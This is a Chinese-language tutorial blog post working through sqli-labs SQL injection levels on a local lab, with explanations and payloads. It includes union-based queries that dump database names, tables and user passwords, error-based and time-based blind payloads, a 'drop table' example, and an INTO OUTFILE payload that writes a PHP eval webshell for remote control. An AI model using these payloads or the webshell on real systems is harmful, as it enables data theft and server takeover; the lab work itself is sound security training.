SQL注入学习——sqli-labs闯关(Basic Challenges)
文章目錄
- 前言
- 一、漏洞介紹
- 1、什么是SQL注入?
- 2、SQL注入原理:
- 3、注入漏洞分類:
- 二、靶場練習(xí)
- 基礎(chǔ)知識(shí):
- Less1 基于錯(cuò)誤的GET單引號(hào)字符型注入
- Less2 基于錯(cuò)誤的GET數(shù)字型注入
- Less3 基于錯(cuò)誤的GET單引號(hào)變形注入
- Less4 基于錯(cuò)誤的GET雙引號(hào)注入
- 盲注介紹:
- Less5 基于報(bào)錯(cuò)的GET單引號(hào)盲注
- Less6 基于報(bào)錯(cuò)的GET雙引號(hào)盲注
- Less7 導(dǎo)出文件GET字符型注入
- Less8 布爾型GET單引號(hào)盲注
- Less9 基于時(shí)間的GET單引號(hào)盲注
- Less10 基于時(shí)間的GET雙引號(hào)盲注
- Less11 基于錯(cuò)誤的POST單引號(hào)注入
- Less12 基于錯(cuò)誤的POST雙引號(hào)變形注入
- Less13 基于報(bào)錯(cuò)的POST單引號(hào)變形盲注
- Less14 基于報(bào)錯(cuò)的POST雙引號(hào)盲注
- Less15 基于時(shí)間的單引號(hào)POST盲注
- Less16 基于時(shí)間的雙引號(hào)POST盲注
- Less17 基于錯(cuò)誤的更新查詢POST注入
- Less18 基于錯(cuò)誤的用戶代理,頭部POST注入
- Less19 基于頭部的Referer POST報(bào)錯(cuò)注入
- Less20 基于錯(cuò)誤的cookie頭部POST注入
前言
今天開始學(xué)習(xí) SQL 注入的相關(guān)知識(shí),通過 sqli-labs 靶場來練習(xí)。靶場地址
一、漏洞介紹
1、什么是SQL注入?
SQL注入(SQL Injection)是一種常見的 Web 安全漏洞,攻擊者通過構(gòu)造SQL語句與后臺(tái)數(shù)據(jù)庫進(jìn)行交互,達(dá)到獲取或修改一些敏感數(shù)據(jù),或者利用潛在的數(shù)據(jù)庫漏洞進(jìn)行攻擊的目的。
2、SQL注入原理:
SQL注入是發(fā)生于 Web 應(yīng)用與數(shù)據(jù)庫層的安全漏洞,漏洞的本質(zhì)是代碼和數(shù)據(jù)未分離,通過在用戶可控參數(shù)中注入SQL語句,若程序未對輸入的指令進(jìn)行合法性判斷,注入進(jìn)去的惡意指令就會(huì)被數(shù)據(jù)庫服務(wù)器誤認(rèn)為是正常的SQL指令而運(yùn)行,達(dá)到編寫程序時(shí)意料之外結(jié)果的攻擊行為。
例:
下圖是一個(gè)正常的登錄表單,輸入正確的賬號(hào)和密碼后,程序會(huì)查詢數(shù)據(jù)庫,如果存在此用戶并且密碼正確,將會(huì)成功登錄;如果用戶不存在或者密碼不正確,則會(huì)提示賬號(hào)或者密碼錯(cuò)誤。
接下來使用一個(gè)比較特殊的用戶 1' or 1=1# 登錄,輸入用戶名:1’ or 1=1#,密碼可以隨意填寫或者不寫,點(diǎn)擊“登錄”按鈕后,發(fā)現(xiàn)是可以正常登錄的。
為什么密碼隨意輸入都可以進(jìn)入后臺(tái)呢?數(shù)據(jù)庫里并沒有 1’ or 1=1# 這個(gè)用戶,難道是程序出錯(cuò)了嗎?
通過分析SQL語句,發(fā)現(xiàn)最終執(zhí)行的SQL語句為:
select * from user where username='$name' and password='$pass';當(dāng)輸入這個(gè)特殊用戶 1’ or 1=1# 時(shí),最終執(zhí)行的SQL語句為:
select * from user where username='1' or 1=1# and password=''此時(shí)的#后面的 password 根本起不了任何作用,因?yàn)樗呀?jīng)被注釋了,而且 username='1' or 1=1這條語句永遠(yuǎn)為真,那么最終執(zhí)行的SQL語句相當(dāng)于:
select * from user //查詢user表所有的數(shù)據(jù)條數(shù)很顯然,返回條數(shù)大于0,所以可以順利通過驗(yàn)證,登錄成功。這就是一次最簡單的SQL注入過程。雖然過程很簡單,但其危害卻很大,比如,在用戶名位置處輸入以下SQL語句:
1'or 1=1;drop table user#因?yàn)?SQL Server 支持多語句執(zhí)行,所以這里可以直接刪除 user 表。
由此可得知,SQL注入漏洞的形成原因就是:用戶輸入的數(shù)據(jù)被SQL解釋器執(zhí)行。
3、注入漏洞分類:
在測試注入漏洞之前,首先要弄清楚一個(gè)概念:注入的分類,明白了分類之后,再測試注入將起到事半功倍的效果。
常見的SQL注入類型包括:數(shù)字型 和 字符型。也有人把類型分得更多、更細(xì)。但不管注入類型如何,攻擊者的目的只有一點(diǎn),那就是繞過程序限制,使用戶輸入的數(shù)據(jù)帶入數(shù)據(jù)庫執(zhí)行,利用數(shù)據(jù)庫的特殊性獲取更多的信息或者更大的權(quán)限。
1、數(shù)字型注入:
當(dāng)輸入的參數(shù)為整型時(shí),如:ID、年齡、頁碼等,如果存在注入漏洞,則可以認(rèn)為是數(shù)字型注入,數(shù)字型注入是最簡單的一種。假設(shè)有URL http://www.xxx.com/test.php?id=3,可以猜測SQL語句為:
select * from table where id=3測試步驟如下:
1、加單引號(hào),URL:http://www.xxx.com/test.php?id=3’
對應(yīng)的SQL:select * from table where id=3' 這時(shí)SQL語句出錯(cuò),程序無法正常從數(shù)據(jù)庫中查詢出數(shù)據(jù),就會(huì)拋出異常。
2、加and 1=1 ,URL:http://www.xxx.com/test.php?id=3 and 1=1
對應(yīng)的SQL:select * from table where id=3 and 1=1 語句執(zhí)行正常,返回?cái)?shù)據(jù)與原始請求無任何差異。
3、加and 1=2,URL:http://www.xxx.com/test.php?id=3 and 1=2
對應(yīng)的SQL:select * from table where id=3 and 1=2 語句執(zhí)行正常,但卻無法查詢出數(shù)據(jù),因?yàn)閍nd 1=2始終為假。所以返回?cái)?shù)據(jù)與原始請求有差異。
如果以上三個(gè)步驟全部滿足,則程序就可能存在數(shù)字型SQL注入。
2、字符型注入:
當(dāng)輸入的參數(shù)為字符串時(shí),稱為字符型。數(shù)字型與字符型注入的最大區(qū)別在于:數(shù)字型不需要單引號(hào)來閉合,而字符串類型一般要使用單引號(hào)來閉合的。
-
數(shù)字型語句:select * from table where id =3
-
字符型語句:select * from table where username ='admin'
字符型注入最關(guān)鍵的是如何閉合SQL語句以及注釋多余的代碼。
當(dāng)查詢內(nèi)容為字符串時(shí) select * from table where username ='admin'
測試步驟:
1、加單引號(hào):select * from table where username ='admin'',由于加單引號(hào)后變成三個(gè)單引號(hào),無法執(zhí)行,程序會(huì)報(bào)錯(cuò)。
2、加and 1=1(或者1=2) 此時(shí)SQL語句為:select * from table where username='admin and 1=1' ,也無法進(jìn)行注入,因?yàn)閍dmin and 1=1會(huì)被數(shù)據(jù)庫當(dāng)作查詢的字符串。這時(shí)想要進(jìn)行注入,則必須注意字符串閉合問題。
3、加'and 1=1--+(and 前面的單引號(hào)閉合'admin',--注釋后面的單引號(hào) )就可以繼續(xù)注入,SQL語句如下:
select * from table where username ='admin' and 1=1--+'當(dāng)輸入'and 1=2--+ 時(shí),就和上面數(shù)字型同理,語句執(zhí)行正常,但卻無法查詢出數(shù)據(jù)。
總結(jié):數(shù)字型注入不需要閉合單引號(hào)以及注釋;字符型注入必須閉合單引號(hào)以及注釋多余的代碼。
補(bǔ)充:
Mysql常用注釋符:
- --:注意,這種注釋符后邊有一個(gè)空格,通常寫為--+,+會(huì)在傳遞中變成空格
- #:通過#進(jìn)行注釋,URL編碼為%23
3、其它分類:
總的來說,SQL注入只分為 “數(shù)字型” 與 “字符型”,因?yàn)閷?shù)據(jù)庫進(jìn)行數(shù)據(jù)查詢時(shí),輸入數(shù)據(jù)一般只有兩種:一個(gè)是數(shù)字類型,比如 where id=1、where age > 20,另外是一個(gè)字符串類型,比如 where name=‘root’、where datetime > ‘2013-08-18’。
可能不同的數(shù)據(jù)庫語法上存在差異,但帶入數(shù)據(jù)庫查詢時(shí)一定是數(shù)字或字符串。所以無論是POST注入,還是其類型注入,都可歸納為數(shù)字型注入或者字符型注入。
那么Cookie注入、POST注入等是怎么回事呢?其實(shí)這類注入主要通過注入的位置來分辨,比如有以下請求:
此時(shí)為POST 請求,但是POST數(shù)據(jù)中的username字段存在注入漏洞,一般都會(huì)直接說POST注入,卻不再考慮username是什么類型的注入,如果此時(shí)的HTTP請求如下:
那么是否又應(yīng)該叫做GET注入呢?
以下是一些常見的注入叫法:
-
POST注入:注入字段在 POST 數(shù)據(jù)中
-
Cookie注入:注入字段在Cookie數(shù)據(jù)中
-
延時(shí)注入:使用數(shù)據(jù)庫延時(shí)特性注入
-
搜索注入:注入處為搜索的地點(diǎn)
-
base64注入:注入字符串需要經(jīng)過base64加密
🆗,了解了這些基礎(chǔ)知識(shí)后就開始練習(xí)吧!
二、靶場練習(xí)
基礎(chǔ)知識(shí):
在開始注入之前,還需要知道一些關(guān)于 Mysql 的基礎(chǔ)知識(shí)。
1)系統(tǒng)函數(shù):
- version()——Mysql版本
- user()——數(shù)據(jù)庫用戶名
- database()——數(shù)據(jù)庫名
- @@datadir——數(shù)據(jù)庫路徑
- @@basedir——獲取安裝路徑
- @@version_compile_os——操作系統(tǒng)版本
2)字符串連接函數(shù):
-
concat(str1,str2,…) —— 沒有分隔符地連接字符串
例:concat_ws('11','22','33') :112233 -
concat_ws(separator,str1,str2,…) —— 含有分隔符地連接字符串,第一個(gè)參數(shù)是其它參數(shù)的分隔符。
例:concat_ws(':','11','22','33') :11:22:33 -
group_concat(str1,str2,…) —— 使多行數(shù)據(jù)在一行顯示,并以逗號(hào)分開
簡單來說使用這三個(gè)函數(shù)的目的就是:能一次性查出多條信息。
3)常見的閉合符號(hào):
$id'$id'"$id"($id)('$id')("$id")(('$id'))4)系統(tǒng)數(shù)據(jù)庫 information_schema,存儲(chǔ)著所有的數(shù)據(jù)庫的相關(guān)信息,里面有三張表:
-
information_schema.schemata:包含所有庫 庫名的表
常用字段:schema_name 數(shù)據(jù)庫名 -
information_schema.tables:包含所有庫 表名的表
常用字段:table_name 表名;table_schema 數(shù)據(jù)庫名 -
information_schema.columns:包含所有庫 表字段的表
常用字段:column_name 列名;table_schema 數(shù)據(jù)庫名;table_name 表名
一般的,我們利用該表可以進(jìn)行一次完整的注入,流程如下:
猜數(shù)據(jù)庫
select schema_name from information_schema.schemata猜某庫的數(shù)據(jù)表
select table_name from information_schema.tables where table_schema=’xxxxx’猜某表的所有列
select column_name from information_schema.columns where table_schema='xxx' and table_name=’xxxxx’獲取某列的內(nèi)容
Select *** from ***好的,正式開始吧!
Less1 基于錯(cuò)誤的GET單引號(hào)字符型注入
先來確定是什么類型的注入,在http://127.0.0.1/sqli-labs/Less-1?id=1后面添加一個(gè)'
發(fā)現(xiàn)報(bào)錯(cuò)了,說明我們添加的單引號(hào)被數(shù)據(jù)庫成功解析,就可能存在注入。接下來輸入?id=1 and 1=2,發(fā)現(xiàn)頁面沒有變化,可以判斷不是數(shù)字型注入。
PS:這里可能會(huì)有疑問,為什么id='1 and 1=2'還可以正常查詢出數(shù)據(jù)?最直接的辦法就是自己測試一下,如圖:
經(jīng)過測試,得出的結(jié)論是:在 select 查詢時(shí),程序會(huì)忽略后面的字符串,只讓id與第一個(gè)字符進(jìn)行對比,如果存在即返回?cái)?shù)據(jù)。
接著輸入'and 1=2 %23后頁面發(fā)生變化,確定為字符型注入,并且閉合符號(hào)為單引號(hào)。
看下源碼:
確實(shí)是單引號(hào),確定注入的類型后,我們就可以構(gòu)造相應(yīng)的的SQL語句進(jìn)行攻擊了。
這時(shí)需要用到聯(lián)合查詢的方式來獲取想要的信息,使用聯(lián)合查詢的前提是 union 后面的 select 語句必須和前面查詢的列的數(shù)量、順序、類型相同,否則數(shù)據(jù)庫會(huì)報(bào)錯(cuò),所以需要先查字段數(shù)。
確定字段數(shù)可以使用 order by,即通過排序的方式測出字段數(shù):
從1開始依次測試,當(dāng)按第4列數(shù)據(jù)進(jìn)行排序時(shí)報(bào)錯(cuò)了
http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 %23
說明有三個(gè)字段,那么現(xiàn)在開始聯(lián)合查詢:
PS:select可以直接加數(shù)字串,不寫后面的表名,它輸出的內(nèi)容就是我們select后的數(shù)字,這時(shí)select實(shí)際上沒有向任何一個(gè)數(shù)據(jù)庫查詢數(shù)據(jù),即查詢命令不指向任何數(shù)據(jù)庫的表。通常用來快速測試顯示位。
先來看下這條SQL語句在數(shù)據(jù)庫的執(zhí)行情況:
程序在展示數(shù)據(jù)的時(shí)候通常只會(huì)取結(jié)果集的第一行,所以我們需要把前面的查詢結(jié)果集變?yōu)榭?#xff0c;這樣才能顯示我們想要的結(jié)果,同時(shí)又需要確定哪幾個(gè)字段會(huì)被顯示在頁面上,這里令id=-1也可以直接在后面添加and 1=2兩種方式都可以。再次測試:
可以看到2,3字段被顯示出來,也就是說我們要在2或3字段上查詢數(shù)據(jù)。🆗,知道了這些之后就可以真正開始SQL注入了!
1、爆數(shù)據(jù)庫:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
成功得到所有的數(shù)據(jù)庫!
2、查看當(dāng)前數(shù)據(jù)庫:
可以看到數(shù)據(jù)庫名為:security,接著再查其他信息。
OK,得到這些信息之后我們再來看看數(shù)據(jù)庫有哪些表。
3、爆當(dāng)前數(shù)據(jù)庫的表:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
可以看到有四張表,我們想要的用戶信息通常在 users表中。
4、爆users列名:
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+這里需要注意指定 table_schema 字段,因?yàn)?users 表非常容易出現(xiàn)重復(fù)!
終于看到我們夢寐以求的 password 了!得到字段后接爆用戶數(shù)據(jù)。
5、爆數(shù)據(jù):
http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+如果只有一個(gè)顯示位可以改為:?id=-1' union select 1,2,group_concat(username,' : ',password) from security.users--+
注意:因 users 表存在重復(fù)問題,最好加上數(shù)據(jù)庫(又是一個(gè)小細(xì)節(jié)!)
也可以單獨(dú)爆一個(gè)用戶:
🆗,第一關(guān)到此圓滿結(jié)束!!
Less2 基于錯(cuò)誤的GET數(shù)字型注入
和上題思路一樣,加單引號(hào)報(bào)錯(cuò),加and 1=2 程序執(zhí)行正常,但卻無法查詢出數(shù)據(jù),那么就確定是數(shù)字型SQL注入了。
看下源碼
確實(shí)是數(shù)字型,🆗,剩下的就和第一關(guān)一樣,可以隨意爆數(shù)據(jù)了。
Less3 基于錯(cuò)誤的GET單引號(hào)變形注入
加單引號(hào),頁面報(bào)錯(cuò)
根據(jù)報(bào)錯(cuò)消息可以推斷出閉合符號(hào)為('$id'),測試 1') --+
程序執(zhí)行正常,然后就可以進(jìn)行注入了。
其余的 payload 與 less1 中一致,只需要 '改為')
Less4 基于錯(cuò)誤的GET雙引號(hào)注入
同樣的思路,先加單引號(hào),然而發(fā)現(xiàn)沒有報(bào)錯(cuò),再用雙引號(hào)測試,發(fā)現(xiàn)報(bào)錯(cuò)了
根據(jù)報(bào)錯(cuò)信息,推斷出閉合符號(hào)應(yīng)該是:("$id"),測試:1") --+
然后就可以注入了,其余同上。
盲注介紹:
何為盲注?盲注就是在 sql 注入過程中,sql 語句執(zhí)行后,查詢的數(shù)據(jù)不能回顯到前端頁面上。此時(shí),我們需要利用一些特殊的方法來得到數(shù)據(jù),這個(gè)過程稱之為盲注。盲注主要分為三類:
-
基于布爾的 SQL 盲注
-
基于時(shí)間的 SQL 盲注
-
基于報(bào)錯(cuò)的 SQL 盲注
因?yàn)檫@塊內(nèi)容較多,具體方法在下面的題目中詳細(xì)講解。
Less5 基于報(bào)錯(cuò)的GET單引號(hào)盲注
輸入?id=1
沒有顯示數(shù)據(jù),這是咋回事?看一下源碼:
可以看到程序并沒有將 $row 這個(gè)查詢結(jié)果輸出,即正確結(jié)果沒有回顯,但是錯(cuò)誤信息還是會(huì)顯示。頁面沒有顯示位,所以無法使用聯(lián)合查詢。
先來確定注入類型,加單引號(hào)報(bào)錯(cuò),加 and 1=2 頁面沒有變化,即非數(shù)字型,加'and 1=2--+后頁面發(fā)生變化,確定為字符型注入,并且閉合符號(hào)為單引號(hào)。
根據(jù)題目名字:雙注入,查了一些大佬的文章之后終于明白了,雙注入即 報(bào)錯(cuò)注入,利用嵌套查詢來實(shí)現(xiàn),形式為:select…(select…),里面的 select 被稱為子查詢,執(zhí)行順序是先執(zhí)行子查詢,然后再執(zhí)行外面的 select。
雙注入主要涉及到了下面幾個(gè)SQL函數(shù):
rand() 隨機(jī)函數(shù),返回0~1之間的一個(gè)值 floor(a) 取整函數(shù),返回小于等于a的一個(gè)整數(shù),沒有四舍五入 count() 聚合函數(shù) group by 分組函數(shù)詳解請看這篇文章:雙注入詳解
雙注入的原理總的來說就是:當(dāng)一個(gè)聚合函數(shù) count 后面出現(xiàn) group by 分組語句時(shí),會(huì)將查詢的一部分結(jié)果以報(bào)錯(cuò)的形式返回,它有一個(gè)固定的公式。
構(gòu)造sql語句:
Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+ //這里我們給查詢的數(shù)據(jù)起了另一個(gè)名:a
OK得到數(shù)據(jù)庫了,然后就可以以同樣地方式得到其他信息。
獲取表名:
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
查詢用戶信息:
第五關(guān)結(jié)束。
Less6 基于報(bào)錯(cuò)的GET雙引號(hào)盲注
與上關(guān)是同一類型,這關(guān)使用的是雙引號(hào)閉合,其余過程與前面類似,不再贅述。
Less7 導(dǎo)出文件GET字符型注入
輸入?di=1
還是沒有顯示數(shù)據(jù),接著輸入?id=1'
頁面報(bào)錯(cuò),說明可能存在注入,輸入?id=1 and 1=2
回顯正常,說明不是數(shù)字型注入。
輸入?id=1'--+,顯示報(bào)錯(cuò),繼續(xù)輸入?id=1')--+頁面仍然報(bào)錯(cuò), 多次嘗試1' 1" 1') 1") 1')) 最后發(fā)現(xiàn)是1')),頁面顯示正常了。
查看下源碼:
看到正常回顯都是 You are in… Use outfile…,報(bào)錯(cuò)信息統(tǒng)一返回 You have an error in your SQL syntax
同時(shí)他也給出了提示:use outfile 也就是說需要使用 outfile 函數(shù):
outfile 函數(shù)的作用就是將數(shù)據(jù)庫的查詢內(nèi)容導(dǎo)出到一個(gè)外部文件
語法:select...into outfile 'file_name'
可以把被選擇的行寫入一個(gè)文件中,前提是要擁有 file 權(quán)限才能使用。file_name 不能是一個(gè)已經(jīng)存在的文件。
現(xiàn)在還不知道數(shù)據(jù)庫的路徑,可以借助前面幾關(guān)來獲取數(shù)據(jù)庫的路徑:@@basedir 獲取安裝路徑
http://localhost/sqli-labs/Less-1/?id=-1‘ union select 1,2,@@basedir --+
這樣我們就可以知道網(wǎng)站應(yīng)該是在C:/phpStudy/WWW/下,嘗試寫入一句話木馬 ,構(gòu)造代碼:
注意:這里要用雙反斜杠\\,否則建立出來的文件名會(huì)加前綴。
頁面回顯錯(cuò)誤,不過不用管,查看一下文件夾,可以看到文件已將寫入目錄下了,打開菜刀,右鍵添加 http://127.0.0.1/123.php 地址填入你上傳文件的地址,后面的小方框中填入你構(gòu)造的密碼,也就是smk
連接成功,然后就可以為所欲為了,嘿嘿嘿。
真實(shí)場景中目的主要是獲得數(shù)據(jù)庫管理員信息,先找到 index.php 文件,尋找其中sql連接語句。
順藤摸瓜,找到 sql-connect.php 文件
打開 db-creds.inc
就可以獲得數(shù)據(jù)庫管理員信息了!
Less8 布爾型GET單引號(hào)盲注
這關(guān)內(nèi)容稍多,所以單獨(dú)拿出來了,詳情請看這篇文章:文章鏈接
同時(shí)這關(guān)也可以使用導(dǎo)出文件,菜刀連接的方法做,步驟和上題一樣,這里給出payload:
?id=1' union select 1,"<?php @eval($_POST['smk']);?>",3 into outfile "C:\\phpStudy\\WWW\\123.php" --+Less9 基于時(shí)間的GET單引號(hào)盲注
這關(guān)內(nèi)容也很多,本關(guān)鏈接
Less10 基于時(shí)間的GET雙引號(hào)盲注
與上關(guān)是同一類型,這關(guān)使用的是雙引號(hào)閉合,其余過程與前面類似,不再贅述。
Less11 基于錯(cuò)誤的POST單引號(hào)注入
從這一關(guān)開始,我們就進(jìn)入到 post 注入的世界了。
先在 username 輸入admin',password 空著,返回錯(cuò)誤信息:
從錯(cuò)誤信息可知在 username 處應(yīng)該有注入點(diǎn),并且可能為單引號(hào)閉合類型。
嘗試萬能語句admin' or 1=1#
發(fā)現(xiàn)登陸成功,而且用戶默認(rèn)為 dumb,確定為單引號(hào)閉合的字符型注入。
老樣子,order by 確定列數(shù),測得為2:
接著就開始爆破數(shù)據(jù)庫、表名、列名。
1、數(shù)據(jù)庫名:
在 username 欄輸入:
1' union select 1,database()#注意:post類型要用 # ,--+不能用
密碼隨便填
得到數(shù)據(jù)庫名。
2、表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
3、列名:
4、爆破用戶名、密碼
1' union select group_concat(username),group_concat(password) from security.users#Less12 基于錯(cuò)誤的POST雙引號(hào)變形注入
先嘗試 admin',頁面無變化,應(yīng)該不是單引號(hào)字符注入。嘗試 admin",發(fā)現(xiàn)報(bào)錯(cuò)了。
從報(bào)錯(cuò)信息可知閉合方式為(""),再測試代碼 admin") or 1=1#,密碼隨便,登錄成功:
接下來就是爆數(shù)據(jù)庫名、表名、列名、用戶名以及密碼,和第十一關(guān)一樣,在此不再贅述。
Less13 基于報(bào)錯(cuò)的POST單引號(hào)變形盲注
Less14 基于報(bào)錯(cuò)的POST雙引號(hào)盲注
和上關(guān)類似,這關(guān)使用的是雙引號(hào)閉合,只需修改為admin"即可。
Less15 基于時(shí)間的單引號(hào)POST盲注
嘗試admin'、admin"、),發(fā)現(xiàn)沒有回顯報(bào)錯(cuò)信息,頁面也沒有任何變化,那么 bool 盲注就無法使用,那就只能說明可能為時(shí)間盲注。
多次測試,當(dāng)輸入下面代碼時(shí)
admin' and sleep(5)#時(shí)間延遲了5秒,確定閉合符號(hào)為單引號(hào):
注意:這里不能使用1' and sleep(5)#,因?yàn)榍懊娴腉ET型中我們知道?id=1這個(gè)條件本來就是true,而我們測試POST型的 username 為1,這個(gè)條件本身為 false,因?yàn)閿?shù)據(jù)庫沒有這個(gè)用戶,邏輯符是and:一假則假,所以不能使用。這里是知道存在用戶 admin 直接用了。
如果不知道用戶名可以使用萬能語句進(jìn)行測試,當(dāng)輸入1' or 1=1#時(shí),登陸成功,頁面變化了,說明閉合符號(hào)就是單引號(hào)。
測試數(shù)據(jù)庫名:
admin' and if(substr((select database()),1,1)='s',sleep(5),1)#頁面經(jīng)過5s后響應(yīng),得到數(shù)據(jù)庫第一位,接下來按部就班進(jìn)行爆破,與前面 less9 類似,在此不再贅述。
Less16 基于時(shí)間的雙引號(hào)POST盲注
和上關(guān)一樣,區(qū)別是這關(guān)使用的雙引號(hào)閉合,只需修改為admin"即可。
admin" and if(substr((select database()),1,1)='s',sleep(5),1)#Less17 基于錯(cuò)誤的更新查詢POST注入
Less18 基于錯(cuò)誤的用戶代理,頭部POST注入
Less19 基于頭部的Referer POST報(bào)錯(cuò)注入
Less20 基于錯(cuò)誤的cookie頭部POST注入
總結(jié)
以上是生活随笔為你收集整理的SQL注入学习——sqli-labs闯关(Basic Challenges)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 实验吧--密码学
- 下一篇: SQL注入学习——Bool盲注详解 sq